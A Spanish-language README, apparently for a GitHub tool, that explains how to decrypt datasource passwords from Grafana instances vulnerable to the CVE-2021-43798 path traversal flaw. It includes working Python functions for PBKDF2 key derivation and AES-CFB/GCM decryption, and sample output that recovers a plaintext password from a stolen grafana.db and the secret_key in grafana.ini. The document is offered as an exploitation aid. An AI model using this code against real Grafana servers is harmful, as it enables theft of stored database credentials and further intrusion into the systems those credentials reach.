
Grafana Decryptor para CVE-2021-43798
Este script descifra las contraseñas de las fuentes de datos de una instancia de Grafana vulnerable a CVE-2021-43798, que permite la lectura no autorizada de archivos arbitrarios.
Las versiones 8.0.0-beta1 a 8.3.0 de Grafana son vulnerables a una vulnerabilidad de traversal de directorios que permite a usuarios no autorizados leer archivos arbitrarios en el servidor. Este script explota esta vulnerabilidad para descifrar las contraseñas de las fuentes de datos encontradas en el archivo grafana.db utilizando la secret_key encontrada en el archivo de configuración grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db y grafana.ini de la instancia de Grafana objetivo.python decrypt.py
También puedes codificar una contraseña en texto plano usando el script descomentando el código de ejemplo en el script.
El script determina el algoritmo de cifrado utilizado analizando el payload. El algoritmo de cifrado predeterminado es aes-cfb.
Usando el algoritmo de cifrado derivado y la secret_key de grafana.ini, el script descifra la contraseña de la fuente de datos.
El script también incluye funcionalidad para cifrar una contraseña en texto plano usando el mismo método de cifrado y la misma secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anJneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anJneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Estas funciones manejan los procesos de descifrado y cifrado.
Si encuentras algún error o tienes sugerencias de mejora, no dudes en abrir issues o pull requests.
Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.